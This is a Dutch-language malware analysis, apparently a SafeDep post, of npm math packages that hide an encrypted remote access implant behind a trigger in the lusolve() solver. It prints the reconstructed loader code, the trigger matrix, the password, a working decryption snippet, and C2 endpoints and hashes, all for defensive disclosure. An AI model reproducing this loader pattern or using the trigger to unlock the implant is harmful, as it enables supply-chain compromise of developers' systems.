Waarom heeft een npm-wiskundebibliotheek een versleutelde loader nodig?

We begonnen op 17 september 2026 met een SafeDep-analyse van mathmain. Het pakket leek op een kopie van mathjs met een andere naam en geobfusceerde code. Eén toegevoegde aanroep in de solver leidde ons naar de loader.

Een solver roept een typecontrole aan

Aan het einde van lusolve() vonden we een extra aanroep in de CommonJS-build. De solver had het resultaat al berekend en gaf vervolgens gegevens van de onderste driehoeksmatrix door aan removeSolveValidation():

lib/cjs/function/algebra/solver/lusolve.js

// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
l && (q = removeSolveValidation(l._data));

return x;

Hier bevat l de onderste driehoeksmatrix en bevat x het resultaat. De solver geeft x ongewijzigd terug. De retourwaarde van de extra aanroep wordt toegewezen aan q, maar q wordt daarna niet meer gebruikt.

We volgden removeSolveValidation() naar isGraph(x) in lib/cjs/utils/is.js. Dit bestand bevat controles zoals isMatrix en isNumber. De toegevoegde functie isGraph() ontsleutelt en laadt code:

lib/cjs/utils/is.js

// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';

function isGraph(x) {
  const password = JSON.stringify(x);
  const name = validEvent(STAGE1_BLOB, password);
  const target = path.join(__dirname, name);
  const mod = require(event(target, password));

  return (x && mod.validGraph(password)) || false;
}

isGraph() zet de invoer om in een JSON-string en gebruikt die string als wachtwoord. Eerst ontsleutelt het een bestandsnaam. Vervolgens geeft het het bestandspad en het wachtwoord door aan event(), en laadt het geretourneerde pad met require().

We hebben de loader-fragmenten leesbaarder gemaakt door strings te herstellen en lokale variabelen te hernoemen. De hashes aan het einde van dit artikel identificeren de originele bestanden.

Matrixgegevens worden een wachtwoord

In lib/cjs/utils/event.js vonden we de ontsleutelingfuncties. Ze gebruiken scrypt om het wachtwoord om te zetten in een sleutel van 256 bits. Daarna ontsleutelen ze de gegevens met Advanced Encryption Standard in Galois/Counter Mode (AES-GCM):

lib/cjs/utils/event.js

// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
const key = crypto.scryptSync(password, salt, 32);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);

De versleutelde gegevens hebben een vaste lay-out: een salt van 16 bytes, een initialization vector (IV) van 12 bytes en een authentication tag van 16 bytes. De ciphertext volgt op deze velden. Het pakket slaat de hele reeks op als base64-tekst.

Voor aanroepen via de solver is het wachtwoord JSON.stringify(L._data). Een aanroeper kan L aanleveren via de objectvorm van lusolve(). De aanroeper moet dus matrixgegevens doorgeven die het juiste wachtwoord genereren. We vonden geen wachtwoord opgeslagen in de zichtbare loader.

De versleutelde bestandsnaam bestaat uit acht bytes ciphertext. We vermoeden dat dit verwijst naar graph.js, een bestand naast de loader waarvan de naam ook acht bytes beslaat. We konden dit niet bevestigen omdat we het wachtwoord aanvankelijk niet hadden teruggevonden.

De loader schrijft en voert het bestand uit

De helper event() ontsleutelt het bestand, schrijft het resultaat naar de schijf en geeft het uitvoerpad terug:

lib/cjs/utils/event.js

// Leesbare reconstructie: herstelde strings en hernoemde lokale variabelen.
const plaintext = eventEmitter(file, password);
const dir = path.dirname(path.resolve(file));
const base = path.basename(file).replace(/^enc_/, '');
const outPath = path.join(dir, base);
fs.writeFileSync(outPath, plaintext);
return outPath;

Als de bestandsnaam geen enc_ prefix heeft, overschrijft de helper het versleutelde bestand met de ontsleutelde code. De require()-aanroep in isGraph() laadt deze vervolgens. Die code wordt uitgevoerd met dezelfde rechten als het Node.js-proces.

Drie toegevoegde bestanden bevatten base64-gegevens in plaats van normale JavaScript:

Pad onder lib/cjs/utils/Grootte ciphertext in bytes
graph.js20.918
fraction.js9.084
bignumber/type.js1.179.416

We vonden geen referentie naar de laatste twee bestanden in de zichtbare loader. De ontsleutelde graph.js laadt deze in latere stadia, zoals in de sectie over de payload wordt beschreven.

We vonden geen install hooks in het manifest. Het importeren van het pakket via het door ons bekeken pad activeert de loader ook niet. De solver moet eerst de validatie- en berekeningsstappen doorlopen om bij de toegevoegde aanroep te komen. Als het wachtwoord onjuist is, faalt validEvent() bij de authenticatiecontrole voordat de helper enig bestand schrijft.

Dezelfde loader verschijnt in twee andere pakketten

We zochten in de npm-registry en vonden twee andere pakketten: mathsbase en math-universe. Over vijf versies verspreid vonden we identieke loader-bestanden, trigger-code, wijzigingen in de solver en twee grote versleutelde bestanden.

De versleutelde graph.js in mathmain verschilt van de andere kopieën. De gedeelde bestanden verbinden deze releases. Ze vertellen ons echter niet wie de loader heeft toegevoegd of of iemand een account van een uitgever heeft overgenomen.

Op 17 september serveerde npm mathmain als de standaardrelease. Die versie bevatte deze loader niet. Alleen de standaardversie controleren, zou betekenen dat de code in versie 1.0.1 over het hoofd wordt gezien.

Op 19 september controleerden we de downloadcijfers van npm voor alle drie de pakketten voor de periode 12 t/m 18 september 2026.

PakketGerapporteerde downloads
mathmain605.157
mathsbase1.923.059
math-universe569.730

npm rapporteerde ook nul downloads voor de gehele registry op 17 september, wat de eerdere nulwaarde voor mathmain onbetrouwbaar maakt. De pakketten hebben geen openbare afhankelijken en bijna geen verkeer op het jsDelivr-netwerk. De cijfers tonen dus geen echte installaties aan. We konden niet bepalen wat dit volume veroorzaakte, en deze cijfers zeggen niets over hoeveel systemen de pakketten daadwerkelijk hebben geïnstalleerd of of de versleutelde code is uitgevoerd.

De loader bevindt zich niet in de GitHub-broncode

De pakketten mathsbase en math-universe linken elk naar een openbaar GitHub-repository. We hebben beide gelezen, maar geen van beide repositories bevat de loader:

  • github[.]com/tinystar8/mathsbase (commit 560d97e66140dbf817e04284a7a0c58757d1202e)
  • github[.]com/mathubio/math-universe (commit da99dd46501c75ba6102a51ef60ebb922174da32)

De openbare broncode van math-universe beëindigt de solver als volgt:

// mathubio/math-universe, commit da99dd46501c75ba6102a51ef60ebb922174da32
// src/function/algebra/solver/lusolve.js; origineel broncode-fragment.
if (q) {
  x._data = csIpvec(q, x._data);
}

return x;

De extra removeSolveValidation()-aanroep ontbreekt hier. De npm-build heeft deze wel. Iemand heeft de loader dus toegevoegd tijdens het publiceren van het pakket, en niet in de openbare code.

We zochten ook naar een programma dat de solver aanroept met de trigger. We doorzochten GitHub-code, lockfiles en dependency-services, maar vonden niets. Privéprojecten en code die zoekmachines missen, blijven buiten bereik.

Onze eerste pogingen vonden het wachtwoord niet

We testten 16.922 mogelijke wachtwoorden tegen de versleutelde bestandsnaam. Sommige hiervan kwamen voort uit matrices met nul-diagonaalelementen, die we in onze eerdere zoektocht hadden overgeslagen.

In een tweede zoektocht testten we 533 mogelijke wachtwoorden tegen alle vijf de verschillende versleutelde blobs, inclusief de oudere graph.js. We probeerden veelvoorkomende wachtwoorden en numerieke arrays uit de tests van de solver. Geen van beide zoektochten vond een wachtwoord dat de authenticatiecontrole doorstond.

We controleerden onze tools met testgegevens en bekende wachtwoorden; de zoektochten werden correct afgerond. Het wachtwoord was geen veelvoorkomende waarde of een testmatrix, maar één specifieke matrix die we later vonden.

Het kraken van de versleuteling

Het wachtwoord is de JSON-vorm van een matrix lower factor L. JFrog rapporteerde als eerste de invoer die dit produceert. We hebben dit resultaat vervolgens gereproduceerd tegen de mathmain-bestanden.

De herstelde trigger is een 3x3 Pascal-matrix:

A = [[1, 1, 1],
     [1, 2, 3],
     [1, 3, 6]]

Wanneer een aanroeper A doorgeeft aan lusolve(), voert de solver een LU-decompositie van A uit. De lower triangular factor L wordt dan [[1, 0, 0], [1, 1, 0], [1, 0.5, 1]]. De loader zet L om in een JSON-string. Die string is het wachtwoord.

We hebben dit bevestigd met de echte bestanden:

// SafeDep reproductie tegen mathmain.
const A = [
  [1, 1, 1],
  [1, 2, 3],
  [1, 3, 6],
];
const L = lup(A).L.valueOf(); // [[1,0,0],[1,1,0],[1,0.5,1]]
const password = JSON.stringify(L); // '[[1,0,0],[1,1,0],[1,0.5,1]]'

const blob = Buffer.from(STAGE1_BLOB, 'base64');
const key = crypto.scryptSync(password, blob.subarray(0, 16), 32);
const d = crypto.createDecipheriv('aes-256-gcm', key, blob.subarray(16, 28));
d.setAuthTag(blob.subarray(28, 44));
const name = Buffer.concat([d.update(blob.subarray(44)), d.final()]).toString();
// name === 'graph.js'

Het wachtwoord ontsleutelde de bestandsnaam naar graph.js. Het ontsleutelde ook de drie payload-bestanden in mathmain en math-universe. De payload van mathmain is byte voor byte identiek aan die van math-universe. mathsbase gebruikt hetzelfde wachtwoord, maar met andere versleutelde gegevens. Hetzelfde wachtwoord ontgrendelt dus de hele familie.

Payload-analyse

De ontsleutelde bestanden vormen een kleine remote access implant. Elk bestand heeft één taak. De bevindingen hieronder zijn gebaseerd op onze eigen statische review van de ontsleutelde code.

De ontsleutelde graph.js is de eerste fase. De loader voert deze uit met require() na ontsleuteling. Het bestand leest hostgegevens met os en fs. Het genereert een X25519-sleutelpaar met de Node-crypto module via generateKeyPairSync en diffieHellman. Het voert shell-commando's uit met child_process via spawn en execSync. Het leest een smart contract op het Base Sepolia testnetwerk met een meegeleverde kopie van ethers. Het rapporteert via Slack chat.postMessage en aan api.telegram.org. Vervolgens laadt het bignumber/type.js en fraction.js als latere fasen. De netwerkdetails staan als base64-tekst in het bestand.

Gedecodeerde constanten uit ontsleutelde graph.js (Deployment A):

  • Base Sepolia contract: 0xac0bfC4C48A679b667732128278EACBA1c191894
  • RPC (Infura): base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938
  • RPC (Alchemy): base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI
  • Telegram bot: 8961878831:AAG4... (geheim geanonimiseerd)
  • Slack bot: xoxb-11307403103236-11289767127959-... (geheim geanonimiseerd)

De ontsleutelde bignumber/type.js is een kopie van de ethers-bibliotheek (marker ethers/5.7.2). De implant gebruikt deze bibliotheek om het smart contract te lezen.

De ontsleutelde fraction.js is de command agent. Deze ontsleutelt op runtime een Slack-bottoken en een kanaal-id. De agent heeft een CHAT_PASSWORD waarde uit de omgeving nodig; zonder deze waarde stopt de agent. De agent pollst elke 10 seconden het Slack conversations.history eindpunt. Hij controleert of een bericht van de operator komt en voert de inhoud van het bericht vervolgens uit als shell-commando via execSync of spawn.

Het pakket slaat de commando's van de operator niet op; de agent leest ze tijdens runtime direct uit Slack. Hierdoor blijven de live commando's buiten de registry en onze kopie.

Samen stellen deze bestanden een operator in staat om shell-commando's uit te voeren op elke host die de loader triggert. De commando's reizen via een openbare chatservice en een blockchain-testnetwerk. Het pakket is een remote access implant.

Hoe de trigger een slachtoffer bereikt

De loader blijft inert totdat een aanroeper de solver uitvoert met een invoer die de factor L produceert. Een normale import bereikt de toegevoegde code niet. Een normale lusolve()-aanroep met andere gegevens faalt bij de authenticatiecontrole en schrijft niets. Omdat het wachtwoord de JSON-vorm van L is, is de Pascal-matrix niet de enige trigger. Een aanroeper kan L direct als coëfficiëntmatrix doorgeven, omdat de lower factor daarvan opnieuw L is. Ook kan L worden aangeleverd via de objectvorm van lusolve(). Beide invoeren geven hetzelfde wachtwoord.

De aanval werkt in twee delen. Eén pakket bevat de versleutelde payload. Een tweede pakket, of een gecompromitteerde aanroeper, voert de solver uit met de trigger-matrix. De wiskundebibliotheek ziet eruit als een populaire, vertrouwde dependency; de aanroeper levert de sleutel.

We hebben die aanroeper niet gevonden in openbare code. Onze GitHub- en dependency-zoekopdrachten leverden geen project op dat de solver met de trigger aanroept. Privécode en verwijderde projecten vallen buiten dit bereik.

Tijdlijn van het onderzoek

Alle tijden zijn in UTC. Publicatietijden zijn afgeleid van de npm-registry metadata.

Datum en tijdGebeurtenis
26 aug 2026, 08:14mathmain@1.0.0 gepubliceerd. Geen matching loader gevonden.
27 aug 2026, 07:44mathmain@1.0.1 gepubliceerd met loader en versleutelde bestanden.
15 sep 2026, 03:38mathmain@1.0.2 gepubliceerd zonder matching loader.
16 sep 2026, 12:06mathsbase@1.0.1 gepubliceerd met loader.
16 sep 2026, 13:39math-universe@1.0.1 gepubliceerd met loader.
16 sep 2026, 14:14mathmain@1.0.3 gepubliceerd met loader, na 1.0.2.
17 sep 2026, 06:53mathmain@1.0.4 gepubliceerd met matching bestanden.
17 sep 2026Broncodereview, consumentenzoektochten en verdere decryptiepogingen voltooid. Geen plaintext hersteld.
19 sep 2026npm rapporteerde 605.157 downloads van mathmain voor 18 september.
21 sep 2026JFrog publiceerde analyse en herstelde de trigger-matrix.
21 sep 2026SafeDep reproduceerde de decryptie en las de mathmain payload.

Indicatoren van compromis (IoC)

Gebruik deze indicatoren om de pakketten, de loader en de ontsleutelde implant te vinden. Een match op een pakket of hash bewijst niet dat de code op een host is uitgevoerd; een aanroeper moet eerst de loader triggeren.

Kwaadaardige pakketten

SafeDep heeft de loader in deze versies geanalyseerd. De SHA-256 komt van de npm tarball.

npm pakket versieArchive SHA-256
mathmain@1.0.11723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135
mathmain@1.0.303e13cdedd9c33e6fed25092b1ec7dcf11cc5962c0fbb6b3e90ba95bfec1b034
mathmain@1.0.47e5e1bcdc6a7b0e3437269a236b49ef2be4f77081c7de5130d503c103fd6be69
mathsbase@1.0.1bfe772e7ee044fd6f0bdf53e83f44aad7c9ee1925baf0cf4d884a312aa9ba50e
math-universe@1.0.14eb1d59df7dc80dbe3ec154481e61e8824422037092c188f0cc146b543615a66

De trigger en het wachtwoord

Een aanroeper activeert de loader met één matrix. Het wachtwoord is de JSON-vorm van de LU lower factor van die matrix.

ItemWaarde
Trigger matrix[[1,1,1],[1,2,3],[1,3,6]]
Wachtwoord[[1,0,0],[1,1,0],[1,0.5,1]]
Stage-1 blobIapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==

Loader-bestanden

Deze twee file hashes komen overeen in alle geanalyseerde versies.

BestandSHA-256
lib/cjs/utils/event.jsab66c98e8ed5235feb963ec8845765f62f5f26b1c58c266c409767e53bcb5ccd
lib/cjs/utils/is.js5d9e952c51875d2b897eedc22b002b94ab21c8004d513bc99ce3a885f8a01dae

Versleutelde payload-bestanden

De base64 blobs bevinden zich onder lib/cjs/utils/. mathmain en de drie math-universe versies delen Deployment A. mathsbase gebruikt Deployment B.

BestandSHA-256Deployment
graph.jsed9b078594393d09d91ee008366ca75e3017cca18c79af99c5b294c61db67f06A
fraction.js09773ee7db70216b778b15cfcd94cb1df8963eddd4a47b801c96f986651699e6A
bignumber/type.jsca4fe552da461fec5b51d5964d979699f06888499be442f209125853dff3e0e1A
graph.js0aa46d32e4b479cc09f97cc66a1f12ca96b0497a7eb6ffc6b46ed3ef80e3c83bB

Ontsleutelde payload-bestanden

Deze hashes hebben betrekking op de plaintext die we herstelden uit Deployment A. Op een host waar de loader is uitgevoerd, kunnen bestanden met deze hashes op de schijf staan.

BestandSHA-256
graph.js1e0f09c84aaf573627c003ce0f086517c3ea980cbea02f8ff918b1cc0d7e0bbb
fraction.js6fd655d7196880fc5783f9dbb62b428baf220c2781970be54044376330be7af3
bignumber/type.js6b1ad71bc3765dd272ea2ac63c1ea6ed97091ba0067d0b3e2294e1b34177cb25

Command and Control (C2)

We hebben deze eindpunten hersteld uit de ontsleutelde graph.js-bestanden. We hebben de geheime helft van de bot-tokens geanonimiseerd.

DeploymentTypeWaarde
ASmart contract0xac0bfC4C48A679b667732128278EACBA1c191894 (Base Sepolia)
ARPC (Infura)base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938
ARPC (Alchemy)base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI
ATelegram bot8961878831 (token geanonimiseerd)
ASlack botxoxb-11307403103236-11289767127959-... (geheim geanonimiseerd)
BSmart contract0xE390863Dac96a7118C71227C2b099B50cF602D31 (Ethereum Sepolia)
BRPC (Alchemy)eth-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI
BSlack botxoxb-11307403103236-11289767127959-... (geheim geanonimiseerd)

Beide deployments gebruiken dezelfde Alchemy-projectsleutel D2-TbkB2m05WXSnSDOCDI, wat de twee deployments aan één operator koppelt.